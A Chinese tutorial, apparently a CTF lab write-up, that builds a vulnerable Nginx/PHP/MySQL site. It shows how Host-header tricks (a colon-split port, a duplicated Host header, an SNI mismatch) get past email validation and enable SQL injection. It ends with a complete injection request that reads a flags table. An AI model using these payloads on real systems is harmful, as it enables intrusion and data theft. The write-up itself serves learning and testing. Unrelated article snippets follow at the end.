利用Nginx与php处理方式不同绕过Nginx_host实现SQL注入
目录
首先需要搭建环境
nginx+php+mysql环境:
搭建网站
FILTER_VALIDATE_EMAIL 绕过
方法1:冒号号分割host字段
方法2:冒号号分割host字段
方法3:SNI扩展绕过
首先需要搭建环境
nginx+php+mysql环境:
php安装包:https://www.php.net/distributions/php-8.2.13.tar.gz
也可以直接使用yum的方式安装:
yum install php
安装完成后我们可以在www/html/下新建一个php文件查看是否可以正常解析
cat index.php
<?php phpinfo(); php?>
如果看到这样的页面则说明我们的php安装已经成功了
具体的ngixn和mysql安装可以看这里:
Nginx环境搭建
MySQL入门必备:Linux中部署MySQL环境的四种方式详解
搭建网站
(1)下载源码包
这里我分享给大家:
链接:https://pan.baidu.com/s/1267CI6AmiHOBB1TU_4qhMQ?pwd=8848
提取码:8848
(2)解压源码包
(3)将源码包移动到/usr/local/nginx/html/目录下方便查看我将其重命名为mhz
(4)修改/usr/local/nginx/html/mhz/protected中的config.php文件
(5)在/mhz下创建一个名为web的文件夹用于存放网页
mkdir web
(6)为mhz文件授权
chmod -R 777 mhz/
(7)配置虚拟主机
[root@192~ protected]# vim /etc/nginx/nginx.conf
# 2023.mhz.pw
server {listen 80; server_name 2023.mhz.pw; root html/pwnhub/web;index index.html index.php;
location / {try_files $uri $uri/ /index.php;}location ~ \.php(.*)$ {fastcgi_pass 127.0.0.1:9000;fastcgi_index index.php;fastcgi_split_path_info ^((?U).+\.php)(/?.+)$;fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;fastcgi_param PATH_INFO $fastcgi_path_info;fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info;include fastcgi_params;}
}
(8)设置本地(centos)的DNS
vim /etc/hosts
127.0.0.1 2023.mhz.pw
(9)重启nginx服务
(10)为了在widows上测试,在window的hosts中也写上对应关系
192.168.159.200 2023.mhz.pw
(11)进行数据库的配置
首先在centos中进入到mysql中,创建一个名为security的数据库
create database security;
(12)然后使用该数据库
use security;
创建数据库和表
create databases security;
use security;
SET NAMES utf8;
SET FOREIGN_KEY_CHECKS = 0;DROP TABLE IF EXISTS `flags`;
CREATE TABLE `flags` (`id` int(10) unsigned NOT NULL AUTO_INCREMENT,`flag` varchar(256) DEFAULT NULL,PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4;DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (`id` int(10) unsigned NOT NULL AUTO_INCREMENT,`username` varchar(256) NOT NULL,`password` varchar(32) NOT NULL,`email` varchar(256) DEFAULT NULL,PRIMARY KEY (`id`),UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=15 DEFAULT CHARSET=utf8mb4;SET FOREIGN_KEY_CHECKS = 1;
我们可以给数据库中的flag中插入一条flag,后面注入时会用到
insert into flags (flag) value('I_Love_security');
(12)然后我们就可以在浏览器尝试访问2023.mhz.pw
如图所示,成功访问!!!
(13)现在先去注册一个账号
访问页面http://2023.mhz.pw/main/register
到这里网站的搭建就完成了
FILTER_VALIDATE_EMAIL 绕过
我们先看看这个网页的源代码
登录页面的源代码:
function actionLogin(){//判断传参方式是否为表单的post方法if ($_POST) {//数据交给arg()来处理,我们需要去查看arg函数$username = arg('username');$password = md5(arg('password', ''));if (empty($username) || empty($password)) {$this->error('Username or password is empty.');}$user = new User();$data = $user->query("SELECT * FROM `{$user->table_name}` WHERE `username` = '{$username}' AND `password` = '{$password}'");if (empty($data) or $data[0]['password'] !== $password) {$this->error('Username or password is error.');}$_SESSION['user_id'] = $data[0]['id'];$this->jump('/');}}#以下为core里面的内容
function escape(&$arg) {if(is_array($arg)) {foreach ($arg as &$value) {escape($value);}} else {$arg = str_replace(["'", '\\', '(', ')'], ["‘", '\\\\', '(', ')'], $arg);}
}function arg($name, $default = null, $trim = false) {if (isset($_REQUEST[$name])) {$arg = $_REQUEST[$name];} elseif (isset($_SERVER[$name])) {$arg = $_SERVER[$name];} else {$arg = $default;}if($trim) {$arg = trim($arg);}return $arg;
}
从上述代码段内部可以看到:arg函数利用request接收,由于REQUEST被全局过滤函数escape过滤了单引号。所以username,password没法利用。无法使用其作为传入单引号的注入点
那么再看看注册页面的源代码:
function actionRegister(){if ($_POST) {$username = arg('username');$password = arg('password');if (empty($username) || empty($password)) {$this->error('Username or password is empty.');}$email = arg('email');//利用host字段,拼接用户的邮箱if (empty($email)) {$email = $username . '@' . arg('HTTP_HOST');}//用户邮箱的合法性验证 --- 利用了FILTER_VALIDATE_EMAIL函数if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {$this->error('Email error.');}$user = new User();$data = $user->query("SELECT * FROM `{$user->table_name}` WHERE `username` = '{$username}'");if ($data) {$this->error('This username is exists.');}$ret = $user->create(['username' => $username,'password' => md5($password),'email' => $email]);if ($ret) {$_SESSION['user_id'] = $user->lastInsertId();} else {$this->error('Unknown error.');}}}
这里的注册方式是使用create创建的,然后HTTP_HOST是通过Server获取的,Server并没有做任何过滤操作,然后这个FILTER_VALIDATE_EMAIL是用来过滤email的,它把值当做email来进行验证,并且当邮箱地址为空时,它会以username+@HTTP_HOST作为邮箱地址
FILTER_VALIDATE_EMAIL:即,以邮箱的格式对字符串进行检测
RFC 3696规定,邮箱地址分为:local part和domain part两部分。
local part中包含特殊字符,需要如下处理:
-
将特殊字符用
\
转义,如Joe\'Blow@example.com
-
或将local part包裹在双引号中,如
"Joe'Blow"@example.com
-
local part长度不超过64个字符
虽然PHP没有完全按照RFC 3696进行检测,但支持上述第2种写法。所以,我们可以利用之绕过FILTER_VALIDATE_EMAIL
的检测。
我们可以使用下面这样的方式来尝试将传入的email格式来查看是否可以验证通过:
<?php
$email = xxx@xxx'.com;
var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));
尝试访问后:
可以看到这样并没有绕过email限制
因为代码中邮箱是用户名、@、Host三者拼接而成,但用户名是经过了转义的,所以单引号只能放在Host中。
我们可以传入用户名为"
,Host为aaa'"@example.com
,最后拼接出来的邮箱为"@aaa'"@example.com
。
我们可以将上面的邮箱修改为这样的形式就是合法的了:
<?php
$email = "xxx@xxx'.com";//这里的xxx就写用户名和网站
var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));
可以将web.php文件修改为
<?php
echo $_SERVER['HTTP_HOST'];
来查找HTTP_HOST的值
可以看到这里打印的使我们的域名
然后我们尝试使用抓包的方式抓到注册页面的数据包,并且试着利用上面的方法构造这样的一个Host试试看
返回的页面为404 notfound,这是因为nginx不知道应该交给哪一个模块进行解析,于是就交给了默认的模块进行处理,而在默认的路径下我们有没有进行这个页面的部署,于是出现了404的返回页面。
可以使用以下三种方式来绕过:
方法1:冒号号分割host字段
Nginx在处理Host的时候,会将Host用冒号分割成hostname和port,port部分被丢弃。
所以,我们可以设置Host的值为2023.mhz.pw:xxx'"@example.com
,这样就能访问到目标Server块
nginx处理时会将:后的东西丢弃掉:`2023.mhz.pw
php接收时全部接收:2023.mhz.pw:xxx'"@example.com
方法2:双写host绕过
当我们传入两个Host头的时候,Nginx将以第一个为准,而PHP-FPM将以第二个为准。
也就是说,如果我传入:
Host: 2023.mhz.pw
Host: xxx'"@example.com
Nginx将认为Host为2023.mhz.pw
,并交给目标Server块处理;
但PHP中使用$_SERVER['HTTP_HOST']
取到的值却是xxx'"@example.com
。
注:这种方式在高版本中无法使用,但是低版本可以
方法3:SNI扩展绕过
SNI介绍
早期的SSLv2根据经典的公钥基础设施PKI(Public Key Infrastructure)设计,它默认认为:一台服务器(或者说一个IP)只会提供一个服务,所以在SSL握手时,服务器端可以确信客户端申请的是哪张证书。
但是让人万万没有想到的是,虚拟主机大力发展起来了,这就造成了一个IP会对应多个域名的情况。解决办法有一些,例如申请泛域名证书,对所有*.yourdomain.com的域名都可以认证,但如果你还有一个yourdomain.net的域名,那就不行了。
在HTTP协议中,请求的域名作为主机头(Host)放在HTTP Header中,所以服务器端知道应该把请求引向哪个域名,但是早期的SSL做不到这一点,因为在SSL握手的过程中,根本不会有Host的信息,所以服务器端通常返回的是配置中的第一个可用证书。因而一些较老的环境,可能会产生多域名分别配好了证书,但返回的始终是同一个。
既然问题的原因是在SSL握手时缺少主机头信息,那么补上就是了。
SNI(Server Name Indication)定义在RFC 4366,是一项用于改善SSL/TLS的技术,在SSLv3/TLSv1中被启用。它允许客户端在发起SSL握手请求时(具体说来,是客户端发出SSL请求中的ClientHello阶段),就提交请求的Host信息,使得服务器能够切换到正确的域并返回相应的证书。
要使用SNI,需要客户端和服务器端同时满足条件,幸好对于现代浏览器来说,大部分都支持SSLv3/TLSv1,所以都可以享受SNI带来的便利。
方法3其原理就是,我们在发送https数据包的时候,SNI中指定的域名是example2.com,而无需和HTTP报文中的Host头部保持一致,nginx会选择SNI中的域名作为Server Name
PHP接收的是host头部
Nginx接收的是SNI的域名
上面三种方式都导致mysql报错
Mysql注入
既然已经触发了SQL报错,说明SQL注入近在眼前。通过阅读源码中包含的SQL结构,我们知道flag在flags表中,所以不废话,直接注入读取该表。
插入显示位
因为用户成功登录后,将会显示出该用户的邮箱地址,所以我们可以将数据插入到这个位置。发送如下数据包:
POST /main/register HTTP/1.1
Host: 2023.mhz.pw
Host: '),('t123',md5(12123),(select(flag)from(flags)))#"@a.com
insert into users ...
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=--------356678531
Content-Length: 176
----------356678531
Content-Disposition: form-data; name="username"
"a
----------356678531
Content-Disposition: form-data; name="password"
aaa
----------356678531--
可见,我闭合了INSERT语句,并插入了一个新用户t123
,并将flag读取到email字段。
登录该用户,则直接获取flag。
相关文章:

利用Nginx与php处理方式不同绕过Nginx_host实现SQL注入
目录 首先需要搭建环境 nginxphpmysql环境: 搭建网站 FILTER_VALIDATE_EMAIL 绕过 方法1:冒号号分割host字段 方法2:冒号号分割host字段 方法3:SNI扩展绕过 首先需要搭建环境 nginxphpmysql环境: php安装包&a…...
分割list 批量插入数据指定条数数据
一、代码层面切割好list,然后插入 // package org.apache.commons.collections4; 先将list切成1000条一份 List<List<DeptDO>> p1 ListUtils.partition(deptList, 1000); for (List<DeptDO> deptDOS : p1) { // 1000条一次批量插入systemDeptMa…...

Arduino库之 LedControl 库说明文档
LedControl 库最初是为基于 8 位 AVR 处理器的 Arduino 板编写的。用于通过MAX7219芯片控制LED矩阵和7段数码管。但由于该代码不使用处理器的任何复杂的内部功能,因此具有高度可移植性,并且应该在任何支持 和 功能的 Arduino(类似)…...

Hadoop学习总结(MapReduce的数据去重)
现在假设有两个数据文件 file1.txtfile2.txt2018-3-1 a 2018-3-2 b 2018-3-3 c 2018-3-4 d 2018-3-5 a 2018-3-6 b 2018-3-7 c 2018-3-3 c2018-3-1 b 2018-3-2 a 2018-3-3 b 2018-3-4 d 2018-3-5 a 2018-3-6 c 2018-3-7 d 2018-3-3 c 上述文件 file1.txt 本身包含重复数据&…...

ctfshow sql
180 过滤%23 %23被过滤,没办法注释了,还可以用’1’1来闭合后边。 或者使用--%0c-- 1%0corder%0cby%0c3--%0c--1%0cunion%0cselect%0c1,2,database()--%0c--1%0cunion%0cselect%0c1,2,table_name%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_…...

Java实现求最大值
1 问题 接收用户输入的3个整数,如何将最大值作为结果输出。 2 方法 采用“截图文字代码”的方式描述。 引入输入包调用main()函数,提示并接收用户输入的3个整数,并交由变量a b c来保存。对接收的3个数据进行比较,先比较a和b&#…...

NX二次开发UF_CURVE_ask_curve_inflections 函数介绍
文章作者:里海 来源网站:https://blog.csdn.net/WangPaiFeiXingYuan UF_CURVE_ask_curve_inflections Defined in: uf_curve.h int UF_CURVE_ask_curve_inflections(tag_t curve_eid, double proj_matrx [ 9 ] , double range [ 2 ] , int * num_infpt…...
一个基于RedisTemplate静态工具类
每次是用RedisTemplate的时候都需要进行自动注入实在是太麻烦了,于是找到一个讨巧的办法。 import org.springframework.beans.factory.annotation.Autowired; import org.springframework.data.redis.core.RedisTemplate; import org.springframework.stereotype.…...

【计算机网络笔记】数据链路层——差错编码
系列文章目录 什么是计算机网络? 什么是网络协议? 计算机网络的结构 数据交换之电路交换 数据交换之报文交换和分组交换 分组交换 vs 电路交换 计算机网络性能(1)——速率、带宽、延迟 计算机网络性能(2)…...
js生成pdf并自动上传
1.生成pdf前要让js选中生成pdf部分的dom <div id"printPageFirst"> pdf内容区 </div> 2.使用两个插件,import到项目里,然后是获取dom进行生成pdf操作 import html2canvas from html2canvas import JsPDF from jspdf function cr…...
高品质MP3音频解码语音芯片WT2003Hx的特征优势与应用场景
在现代化科技快速发展的时代,高品质音频语音芯片在各个领域的应用越来越广泛。唯创知音推出的高品质MP3音频语音芯片WT2003Hx,凭借其出色的特性与优势,赢得了市场的广泛认可。本文将详细介绍WT2003Hx的特征优势以及其在各个领域的应用场景。 …...

浅析linux中的信号
人们往往将信号称为“软件中断”,它提供了异步事件的处理机制,这些事件可以来自系统外部(如用户按下ctrlc产生中断符),也可能来自程序或者内核内部的执行动作(如进程除零操作)。进程收到信号&am…...

从0开始学习JavaScript--JavaScript数据类型与数据结构
JavaScript作为一门动态、弱类型的脚本语言,拥有丰富的数据类型和数据结构,这些构建了语言的基础,为开发者提供了灵活性和表达力。本文将深入探讨JavaScript中的各种数据类型,包括基本数据类型和复杂数据类型,并介绍常…...

数据结构与算法编程题20
统计二叉树的叶结点个数。 #define _CRT_SECURE_NO_WARNINGS#include <iostream> using namespace std;typedef char ElemType; #define ERROR 0 #define OK 1 typedef struct BiNode {ElemType data;BiNode* lchild, * rchild; }BiNode,*BiTree;bool Create_tree(BiTre…...

FreeRTOS源码阅读笔记5--mutex
互斥量是一种特殊的二值信号量,拥有优先级继承的机制,所以适合用在临界资源互斥访问。 5.1创建互斥量xSemaphoreCreateMutex() 5.1.1函数原型 5.1.2函数框架 5.2创建递归互斥量xSemaphoreCreateRecursiveMutex() 5.2.1函数原型 5.2.2函数框架 xSemaph…...

STM32_7(ADC)
一、ADC ADC(Analog-Digital Converter)模拟-数字转换器ADC可以将引脚上连续变化的模拟电压转换为内存中存储的数字变量,建立模拟电路到数字电路的桥梁12位逐次逼近型ADC,1us转换时间输入电压范围:0~3.3V,…...

Flink实战(11)-Exactly-Once语义之两阶段提交
0 大纲 [Apache Flink]2017年12月发布的1.4.0版本开始,为流计算引入里程碑特性:TwoPhaseCommitSinkFunction。它提取了两阶段提交协议的通用逻辑,使得通过Flink来构建端到端的Exactly-Once程序成为可能。同时支持: 数据源&#…...

日志技术logback
一,日志概括 二,日志技术的特点 三,日志技术的体系 三,入门 四,案例 package XinZheng;import org.slf4j.Logger; import org.slf4j.LoggerFactory;public class Main58 {//1,创建一个Logger日志对象public static fi…...
linux(1)之build构建系统基础(一)
Linux(1)之buildroot构建系统(一) Author:Onceday Date:2023年11月12日 漫漫长路,才刚刚开始… 参考文档: The Yocto ProjectBuildroot - Making Embedded Linux Easy 文章目录 Linux(1)之buildroot构建系统(一)1. 概述1.1 如…...

25 Linux I2C 驱动
一、I2C简介 I2C老朋友了,在单片机里面也学过,现在再复习一下。I2C使用两条线在主控制器和从机之间进行数据通信。一条是 SCL(串行时钟线),另外一条是 SDA(串行数据线),这两条数据线需要接上拉电阻,总线空闲的时候 SCL…...
挑战杯推荐项目
“人工智能”创意赛 - 智能艺术创作助手:借助大模型技术,开发能根据用户输入的主题、风格等要求,生成绘画、音乐、文学作品等多种形式艺术创作灵感或初稿的应用,帮助艺术家和创意爱好者激发创意、提高创作效率。 - 个性化梦境…...

dedecms 织梦自定义表单留言增加ajax验证码功能
增加ajax功能模块,用户不点击提交按钮,只要输入框失去焦点,就会提前提示验证码是否正确。 一,模板上增加验证码 <input name"vdcode"id"vdcode" placeholder"请输入验证码" type"text&quo…...

linux arm系统烧录
1、打开瑞芯微程序 2、按住linux arm 的 recover按键 插入电源 3、当瑞芯微检测到有设备 4、松开recover按键 5、选择升级固件 6、点击固件选择本地刷机的linux arm 镜像 7、点击升级 (忘了有没有这步了 估计有) 刷机程序 和 镜像 就不提供了。要刷的时…...

全志A40i android7.1 调试信息打印串口由uart0改为uart3
一,概述 1. 目的 将调试信息打印串口由uart0改为uart3。 2. 版本信息 Uboot版本:2014.07; Kernel版本:Linux-3.10; 二,Uboot 1. sys_config.fex改动 使能uart3(TX:PH00 RX:PH01),并让boo…...

selenium学习实战【Python爬虫】
selenium学习实战【Python爬虫】 文章目录 selenium学习实战【Python爬虫】一、声明二、学习目标三、安装依赖3.1 安装selenium库3.2 安装浏览器驱动3.2.1 查看Edge版本3.2.2 驱动安装 四、代码讲解4.1 配置浏览器4.2 加载更多4.3 寻找内容4.4 完整代码 五、报告文件爬取5.1 提…...
Java数值运算常见陷阱与规避方法
整数除法中的舍入问题 问题现象 当开发者预期进行浮点除法却误用整数除法时,会出现小数部分被截断的情况。典型错误模式如下: void process(int value) {double half = value / 2; // 整数除法导致截断// 使用half变量 }此时...
NPOI Excel用OLE对象的形式插入文件附件以及插入图片
static void Main(string[] args) {XlsWithObjData();Console.WriteLine("输出完成"); }static void XlsWithObjData() {// 创建工作簿和单元格,只有HSSFWorkbook,XSSFWorkbook不可以HSSFWorkbook workbook new HSSFWorkbook();HSSFSheet sheet (HSSFSheet)workboo…...

spring Security对RBAC及其ABAC的支持使用
RBAC (基于角色的访问控制) RBAC (Role-Based Access Control) 是 Spring Security 中最常用的权限模型,它将权限分配给角色,再将角色分配给用户。 RBAC 核心实现 1. 数据库设计 users roles permissions ------- ------…...

【多线程初阶】单例模式 指令重排序问题
文章目录 1.单例模式1)饿汉模式2)懒汉模式①.单线程版本②.多线程版本 2.分析单例模式里的线程安全问题1)饿汉模式2)懒汉模式懒汉模式是如何出现线程安全问题的 3.解决问题进一步优化加锁导致的执行效率优化预防内存可见性问题 4.解决指令重排序问题 1.单例模式 单例模式确保某…...

【Docker 02】Docker 安装
🌈 一、各版本的平台支持情况 ⭐ 1. Server 版本 Server 版本的 Docker 就只有个命令行,没有界面。 Platformx86_64 / amd64arm64 / aarch64arm(32 - bit)s390xCentOs√√Debian√√√Fedora√√Raspbian√RHEL√SLES√Ubuntu√√√√Binaries√√√ …...